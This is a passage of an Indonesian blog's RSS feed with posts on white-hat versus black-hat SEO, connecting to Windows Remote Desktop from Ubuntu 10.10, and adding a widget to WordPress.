kenangan kenangan yang pahit dalam hidup ini Back to Reff </itunes:summary><itunes:keywords>Gayus Tambunan, mafia peradilan, mafia pajak, koruptor</itunes:keywords><feedburner:origLink>http://naksangka.blogspot.com/2011/01/andai-aku-jadi-gayus-tambunan.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-4327828901673206468</guid><pubDate>Sat, 15 Jan 2011 02:34:00 +0000</pubDate><atom:updated>2011-01-14T19:44:50.357-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SEO</category><title>White Hat &amp; Black Hat SEO</title><description>&lt;p&gt;&lt;strong&gt;Black Hat &amp;amp; white Hat Pada SEO&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;b&gt;&lt;a href="http://lh4.ggpht.com/_xxdfU1yNW68/TTEYBzUf59I/AAAAAAAAAkg/kIolIpkh5w0/s1600-h/seo_tips%5B14%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="seo_tips" border="0" alt="seo_tips" src="http://lh5.ggpht.com/_xxdfU1yNW68/TTEYDXEy8YI/AAAAAAAAAkk/QmUimIbCL-A/seo_tips_thumb%5B10%5D.jpg?imgmax=800" width="298" height="304" /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;b&gt;Pengantar&lt;/b&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Mendengar kata Black Hat &amp;amp; white Hat tentunya pikiran kita melayang pada Hacker yang mana merupakan “sifat” dari mereka ada yang baik, dan ada pula sebaliknya yakni jahat. Pada Black Hat &amp;amp; white Hat yang akan kita kaji bukan mengenai hacker melainkan mengarah kepada sifat dari “pelaku” internet marketing, blogging, dan lain sebagainya.&lt;/p&gt;  &lt;p align="justify"&gt;Saya dan Anda tentunya akan sangat senang jika posisi blog pada mesin pencari (keyword) menampati urutan no 1 atau pada halaman pertama mesin pencari. Kenapa, hal ini dapat meningkatkan trafik dari pada blog kita, meningkatkan pagerank (PR) dan bagi anda pelaku Internet Marketing, hal ini akan meningkatkan bisnis Anda.&lt;/p&gt;  &lt;p align="justify"&gt;Sekarang, timbul suatu pertanyaan. Apa posisi yang di perubutkan itu ? Tidak lain tentunya adalah posisi pada &lt;b&gt;&lt;i&gt;Search Engine Return Page&lt;/i&gt;&lt;/b&gt; atau di singkat SERP, yang mana SERP ini adalah daftar halaman web yang dihasilkan oleh searc h engine saat kita mengetikkan keyword tertentu. &lt;/p&gt;  &lt;p align="justify"&gt;&lt;b&gt;Keyword&lt;/b&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Hasil pada SERP yang ditampilkan search engine sangat tergantung pada keyword, kenapa ? keyword adalah sesuatu aspek yang vital dari perencanaan Search Engine Optimizaton, jika situs anda memasang keyword yang salah, search engine dan customer anda tidak akan menemukan website anda. Melalui keyword, search engine akan menentukan apakah sebuah halaman web berkaitan dengan apa yang dicari oleh seorang user.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;b&gt;Backlink&lt;/b&gt;&lt;/p&gt;  &lt;p align="justify"&gt;adalah sebuah link atau teks yang berada di situs lain atau situs kita sendiri yang jika kita klik maka akan menuju ke suatu halaman lainnya dan ini disebut backlink untuk halaman yang dituju tersebut. Teks dari link ini biasanya berupa anchor text atau teks singkat yang biasanya adalah kata kunci dari halaman tujuan tersebut. Backlink disebut juga incoming link, inbound link merupakan link sebuah website yang terletak pada website lain. Berikut ini beberapa trik untuk memperbanyak backlink, beberapa cara dapat dilakukan, antara lain :&lt;/p&gt;  &lt;p align="justify"&gt;· Saling bertukar link&lt;/p&gt;  &lt;p align="justify"&gt;· Memposting link pada website pihak ketiga, seperti website sosial bookmark/news (contoh:lintasberita.com, dig.com)&lt;/p&gt;  &lt;p align="justify"&gt;&lt;b&gt;White Hat SEO&lt;/b&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;b&gt;Optimalisasi Konten&lt;/b&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Akan akan setuju jika Saya mengatakan Conten is the King, tentunya ini bukan tanpa alasan. Konten yang berkuliatas jelas lebih diniminati dibantingkan dengan (ma’f) konten yang buruk, Saya banyak menemukan isi kontent berupa “sampah”. Konten pada sebuah website memiliki cangkupan yang luas dalam hubungannya dengan halaman website. Konten bisa berupa teks, image, sound, video, map, jika kontent Anda berupa teks, berikanlah bacaan yang baik pada pengunjung/pembaca hal ini akan memberikan dampak yang positif bagi blog yang dikelola yakni pengunjung menjadi betah dan akan berkunjung dilain waktu. Bagaimana dengan gambar, ? anggapan kita pada search engine adalah dapat menampilkan gambar saja tanpa memperdulikan kontent. Untuk membuat anda tidak rancu, coba perhatikan kode HTML singkat berikut ini :&lt;/p&gt;  &lt;div style="font-family: consolas,; font-size: small" class="html4strict" #ffffff;?="#ffffff;?" background-color:="background-color:" monospace;="monospace;" courier,="courier," New?,="New?," Courier="Courier"&gt;   &lt;div style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;HTML, using GeSHi 1.0.8.8&lt;/div&gt;    &lt;ol&gt;     &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&amp;lt;&lt;a href="http://december.com/html/4/element/img.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;IMG&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #000066"&gt;SRC&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=”&lt;/span&gt;image&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;pandewa.jpg&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&lt;span style="color: #000066"&gt;ALT&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=”&lt;/span&gt;seorang blogger pemula yang bercita-cita menjadi penulis”&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&lt;span style="color: #000066"&gt;WIDTH&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=&lt;/span&gt;&lt;span style="color: #cc66cc"&gt;150&lt;/span&gt; &lt;span style="color: #000066"&gt;HEIGHT&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=&lt;/span&gt;&lt;span style="color: #cc66cc"&gt;300&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;   &lt;/ol&gt; &lt;/div&gt;  &lt;p align="justify"&gt;1. image/pandewa.jpg merupakan sumber konten gambar.&lt;/p&gt;  &lt;p&gt;2. Tag alt pada gambar digunakan untuk penulisan deskripsi gambar yang ditampilkan. Walau belum tentu juga tidak signifikan bagi search engine.&lt;/p&gt;  &lt;p&gt;kesimpulannya, membuat sebuah konten yang berkualitas akan menarik perhatian dan motivasi orang untuk mengaitkan (link) artikel Anda.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Backlink Berkulitas&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Sekarang kita akan berbicara bagaimana membuat sebuah backlink yang berkualitas, analogikanya adalah banyangkan Anda melihat sebuah website dengan tema tertentu (misalkan : game, hardware, linux, jaringan) jika ada link yang berpasangan pada website tersebut akan mengarahkan kepada website sejenis atau web yang kontennya memiliki informasi yang berhubungan . ini merupakan link yang diharapkan oleh seorang pengunjung ketikan mengunjungi sebuah website. Kualitas backlink sendiri tidak bergantung kepada banyaknya link yang terpasang pada sebuah website, namun sebaiknya Anda melihat relevansi antara konten website Anda dengan konten web dengan siapa anda melakukan link exchenge. Backlink dapat juga dibuat berbentuk&lt;i&gt; anchor tect&lt;/i&gt;, ibarat sebuah kata pada buku yang memiliki catatan kaki, dengan demikian pembaca akan menemukan informasi yang lebih komplit mengenai kata tersebut.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_xxdfU1yNW68/TTENYyA21kI/AAAAAAAAAkY/PCZJHsS8eKI/s1600-h/backlink%5B13%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="backlink" border="0" alt="backlink" src="http://lh4.ggpht.com/_xxdfU1yNW68/TTENaJ0y5LI/AAAAAAAAAkc/-eC10nxqbcs/backlink_thumb%5B9%5D.jpg?imgmax=800" width="278" height="331" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Judul&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Apa yang membuat Anda menjadi tertarik untuk membaca sebuah buku ? jika pertanyaan tersebut dilayangkan kepada Saya, maka akan Saya jawab judul dari buku tersebut. Judul merupakan impresi pertama yang dapat membuat orang tertarik atau sebaliknya untuk melihat lebih jauh. Pada HTML, judul dapat diletakkan pada kode&lt;/p&gt;  &lt;div style="font-family: consolas,; font-size: small" class="html4strict" #ffffff;?="#ffffff;?" background-color:="background-color:" monospace;="monospace;" courier,="courier," New?,="New?," Courier="Courier"&gt;   &lt;div style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;HTML, using GeSHi 1.0.8.8&lt;/div&gt;    &lt;ol&gt;     &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&amp;lt;&lt;a href="http://december.com/html/4/element/title.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;TITLE&lt;/span&gt;&lt;/a&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;judul&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/title.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;TITLE&lt;/span&gt;&lt;/a&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/div&gt;     &lt;/li&gt;   &lt;/ol&gt; &lt;/div&gt;      &lt;p&gt;Dengan demikian, judul akan tampil pada search engine, gambar berikut merupakan judul yang tampil pada halaman pencarian google&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_xxdfU1yNW68/TTEYF6bdSqI/AAAAAAAAAko/vfWtsq4BM5M/s1600-h/judul%5B6%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="judul" border="0" alt="judul" src="http://lh6.ggpht.com/_xxdfU1yNW68/TTEYIPzceTI/AAAAAAAAAks/iHW25jxjwaQ/judul_thumb%5B4%5D.jpg?imgmax=800" width="434" height="168" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;terlihat jelas, bahwa judul terlihat mencolok dan mempengaruhi orang untuk mengkliknya. coba Anda perhatikan bahwa google dan search engine lainnya hanya mengambil 70 karakter untuk di tampilkan pada hasil pencarian. Jadi, dapat kita simpulkan carilah kata-kata yang menarik namun tidak terlalu panjang untuk sebuah judul.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Black Hat Seo&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_xxdfU1yNW68/TTEYJWQlH1I/AAAAAAAAAkw/DOvs3ILq6IA/s1600-h/black-hat-seo%5B5%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="black-hat-seo" border="0" alt="black-hat-seo" src="http://lh3.ggpht.com/_xxdfU1yNW68/TTEYMNkR6OI/AAAAAAAAAk0/NYmsp3GnOlg/black-hat-seo_thumb%5B3%5D.jpg?imgmax=800" width="240" height="208" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Setelah kita membahas sis baik dari sebuah teknik SEO, sekarang kita akan memplajari sedikit mengenai sisi lain dari ilmu SEO ini yakni Black Hat SEO. Kebalikan dari White Hat SEO, pada Black Hat SEO berusaha menggunakan cara-cara yang tidak etis dan seringkali berusaha mengakali cara kerja search engine demi mendapatkan sebuah peringkat. Hal ini tentunya mengandung resiko bagi Anda yang menggunakan teknik ini, knapa Saya sebutkan beresiko adalah jika search engine mengetahui Anda menggimplementasikan cara tidak etis ini, dan memberikan penalti yang dapat menyebabkan website Anda tidak diizinkan terdaftar pada search engine.&lt;/p&gt;    &lt;p&gt;&lt;b&gt;SPAMDEXING&lt;/b&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Coba anda perhatikan analogika berikut ini&lt;/p&gt;  &lt;p align="justify"&gt;Terdapat sebuah perpustakaan yang super canggih, dimana pada perpustakaan tersebut dapat mencari dengan cepat, setiap judul buku dengan kecepatan tinggi, dan melakukan index terhadab buku yang di cari. Jika Saya datang pada perpustakaan tersebut, si robot dapat merekomendasikan buku yang relevan tanpa Saya menelusuri seluruh rak-rak yang terdapat pada perpustakaan tersebut. Dalam melakukan index, si robot ternyata terpaku kepada kata/kalimat pada buku tanpa memahami artinya, alhasil banyak buku tebal yang dipenuhi dengan kata-kata yang berulang-ulang tanpa makna (redundansi) si robot telah memposisikan dirinya pada robot yang meletakkan sampah pada prioritas yang tinggi, dan merekomendasikan pada pengunjung pustaka. Tentunya Saya dan Anda akan kecewa jika mendapatkan buku tersebut.&lt;/p&gt;  &lt;p align="justify"&gt;Sekarang, Anda bisa mengartikan analogi yang saya gambarkan diatas, si robot adalah search engine sementara buku adalah halaman website, dan orang yang datang ke perpustakaan adalah pengunjung yang mengetikkan keyword di serach engine, dan buku sampah yang saya sebutkan sejatinya adalah &lt;b&gt;&lt;i&gt;spamdexing &lt;/i&gt;&lt;/b&gt;yang mana telah dibuat oleh pelaku Black Hat SEO untuk mengecoh search engine, dan akhirnya merugikan pengunjung.&lt;/p&gt;  &lt;p align="justify"&gt;Kerugian yang ditimbulkan adalah berkurangnya performa dari search engine guna menyediakan informasi yang akurat dan berguna menjadi berkurang, oleh karena itu algoritma search negine terus diperbaiki untuk menanggulangi permasalahan ini.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;DOORWAY PAGE&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Adalah halaman yang mengandung sedikit konten, tetapi berisi berisi keyword/frase tertentu untuk menarik search engine tanpa dianggap spam. Sejatinya, teknik ini berisi link yang mengarah pada halaman lain, sehingga secara keseluruhan teknik ini merupakan halaman website berkualitas rendah, dan tentunya tidak diharapkan oleh pengguna.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-4327828901673206468?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/SzwlIznjSYA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/SzwlIznjSYA/white-hat-black-hat-seo.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://lh5.ggpht.com/_xxdfU1yNW68/TTEYDXEy8YI/AAAAAAAAAkk/QmUimIbCL-A/s72-c/seo_tips_thumb%5B10%5D.jpg?imgmax=800" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2011/01/white-hat-black-hat-seo.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-2938078310827501705</guid><pubDate>Tue, 14 Dec 2010 05:00:00 +0000</pubDate><atom:updated>2010-12-13T21:00:57.934-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">remote desktop</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>Remote Dekstop Windows Menggunakan Ubuntu 10.10</title><description>&lt;p align="justify"&gt;Remote Dekstop Windows Menggunakan Ubuntu 10.10 &lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_xxdfU1yNW68/TQb5l4H0rMI/AAAAAAAAAjo/VjB4oCScAQk/s1600-h/Remote_desktop_connection_icon%5B7%5D.png"&gt;&lt;img title="Remote_desktop_connection_icon" style="border-right: 0px; border-top: 0px; display: inline; margin-left: 0px; border-left: 0px; margin-right: 0px; border-bottom: 0px" height="260" alt="Remote_desktop_connection_icon" src="http://lh4.ggpht.com/_xxdfU1yNW68/TQb5o_dW7UI/AAAAAAAAAjs/Pdb69AqfZgg/Remote_desktop_connection_icon_thumb%5B5%5D.png?imgmax=800" width="260" align="left" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;sudah lama rasanya blok ini terbengkalai dan tidak ada update postingannya, dan tentunya anda telah menunggu-nunggu update postingan blog ini kan :)   &lt;br /&gt;Pada kesempatan kali ini, Saya akan mencoba menjelaskan bagaimana melakukan remote dekstop menggunakan Ubuntu 10.10 a.k.a Maverick Meerkat.    &lt;br /&gt;Sebelumnya, akan Saya jelaskan apa itu Remote Desktop. Remote Desktop adalah salah satu fitur yang terdapat di dalam sistem operasi microsoft windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, maupun Windows 7. Yang mengizinkan penggunanya untuk terkoneksi ke sebuah mesin jarak jauh seolah-olah mereka duduk di depan mesin yang bersangkutan. Remote Dekstop menggunakan protokol Remote Desktop Protocol (RDP), dan secara default berjalan di TCP port 3389 &lt;/p&gt;  &lt;p align="justify"&gt;Seting Remote Desktop Pada Windows XP &lt;/p&gt;  &lt;p align="justify"&gt;klik Start &amp;gt; My Computer (klik kanan) &amp;gt; Properties&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_xxdfU1yNW68/TQb5rWWlqoI/AAAAAAAAAjw/JcfJ_OoCLgw/s1600-h/1%5B8%5D.jpg"&gt;&lt;img title="1" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="312" alt="1" src="http://lh3.ggpht.com/_xxdfU1yNW68/TQb5xlpWROI/AAAAAAAAAj0/tFhaDmZooyY/1_thumb%5B6%5D.jpg?imgmax=800" width="321" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Maka akan tampilan menu Syestem Properties seperti pada gambar berikut ini&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_xxdfU1yNW68/TQb51O5IcHI/AAAAAAAAAj4/BTNqDBXzXms/s1600-h/2%5B5%5D.jpg"&gt;&lt;img title="2" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="389" alt="2" src="http://lh6.ggpht.com/_xxdfU1yNW68/TQb52ZlWTkI/AAAAAAAAAj8/BzPIaoPwlSg/2_thumb%5B3%5D.jpg?imgmax=800" width="336" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Lakukan perubahan pada Menu &lt;strong&gt;Remote&lt;/strong&gt; seperti yang tampak pada gambar di atas&lt;/p&gt;  &lt;p align="justify"&gt;Setingan pada Windows telah selesai kita lakukan, itu artinya, komuter ini telah siap untuk d remote. Sekarang, pada Ubuntu, klik Application &amp;gt; Internet &amp;gt; Terminal Server Client seperti yang tampak pada gambar di bawah ini. Ketikkan lah alamat IP komputer yang akan di Remote, User Name dan juga Password Setelah itu klik&lt;strong&gt; Connect&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_xxdfU1yNW68/TQb54tGdTBI/AAAAAAAAAkA/QbX9gkyZcq0/s1600-h/terminal%20server%20client%5B4%5D.jpg"&gt;&lt;img title="terminal server client" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="332" alt="terminal server client" src="http://lh6.ggpht.com/_xxdfU1yNW68/TQb58jMtWwI/AAAAAAAAAkE/Y-TGVN2LBeg/terminal%20server%20client_thumb%5B2%5D.jpg?imgmax=800" width="327" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;berikut ini adalah tampilan kompter yang telah kita Remote&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_xxdfU1yNW68/TQb5_0EkeNI/AAAAAAAAAkI/4jrihNuOA3I/s1600-h/remotedekstop%5B9%5D.png"&gt;&lt;img title="remotedekstop" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="205" alt="remotedekstop" src="http://lh6.ggpht.com/_xxdfU1yNW68/TQb6B8PcBaI/AAAAAAAAAkM/u4PzjkB0jXY/remotedekstop_thumb%5B7%5D.png?imgmax=800" width="352" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Sekian artikel dari saya, semoga artikel ini dapat bermanfaat bagi Anda, dan terimakasih telah meluangkan waktunya untuk membaca artikel ini :)&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-2938078310827501705?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/Zd9V3T6ZZNo" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/Zd9V3T6ZZNo/remote-dekstop-windows-menggunakan_13.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://lh4.ggpht.com/_xxdfU1yNW68/TQb5o_dW7UI/AAAAAAAAAjs/Pdb69AqfZgg/s72-c/Remote_desktop_connection_icon_thumb%5B5%5D.png?imgmax=800" height="72" width="72" /><thr:total>5</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/12/remote-dekstop-windows-menggunakan_13.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-729425831635891268</guid><pubDate>Sat, 06 Nov 2010 16:11:00 +0000</pubDate><atom:updated>2010-11-06T09:17:07.175-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">wordpress</category><title>Menambah Widget Pada WordPres</title><description>&lt;b&gt;Menambah Widget Pada WordPres&lt;/b&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/TNV-8HV03GI/AAAAAAAAAik/FZL8XPdVYhE/s1600/Wordpress-Backup-Tools-Plugins.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="220" src="http://4.bp.blogspot.com/_xxdfU1yNW68/TNV-8HV03GI/AAAAAAAAAik/FZL8XPdVYhE/s400/Wordpress-Backup-Tools-Plugins.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
Artikel berikut adalah artikel yang saya tulis untuk salah satu guru Pak Diwarman Chaniago &amp;nbsp;yang mengirimkan email kepada Saya, dimana email tersebut berisi&lt;br /&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;b&gt;Cara mengopikan widget ke halaman blog wordpress? Bgm langkah-langkahnya? terima kasih&lt;/b&gt;&lt;/blockquote&gt;
&lt;/blockquote&gt;
Pada tutorial ini, saya mengimplementasikan kepada widget buku tamu, yaitu shoutmix.&lt;br /&gt;
1. login terlebih dahulu pada blog wordpress Anda.&lt;br /&gt;
setelah berhasil login dengan benar, maka akan tampil halaman dasbord wordpress seperti gambar berikut ini.&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/TNV4nNhF9mI/AAAAAAAAAiI/3xTGRyeL8Ic/s1600/1.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" height="237" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TNV4nNhF9mI/AAAAAAAAAiI/3xTGRyeL8Ic/s400/1.JPG" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;dasbord&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2. Sekarang kita akan masuk ke menu Apperance yang terletak pada sebelah kiri kita, dimana menu apperance ini berfungsi untuk melakukan konfigurasi/pengaturan terhadap design, tata letak, menambah menu baru dan juga mengganti template. Sekarang, &lt;i&gt;&lt;b&gt;klik Apprearance&amp;nbsp; -&amp;gt; Widget &amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TNV4uE_555I/AAAAAAAAAiM/lVyJhiKUX3I/s1600/2.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="400" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TNV4uE_555I/AAAAAAAAAiM/lVyJhiKUX3I/s400/2.JPG" width="165" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Menu Apperance&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
setelah proses loading selesai, &amp;nbsp;akan tampil halaman seperti berikut ini :&lt;/div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/TNV49pmrWDI/AAAAAAAAAiQ/mktuhdZ3XPQ/s1600/3.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="298" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TNV49pmrWDI/AAAAAAAAAiQ/mktuhdZ3XPQ/s400/3.JPG" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Widget&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
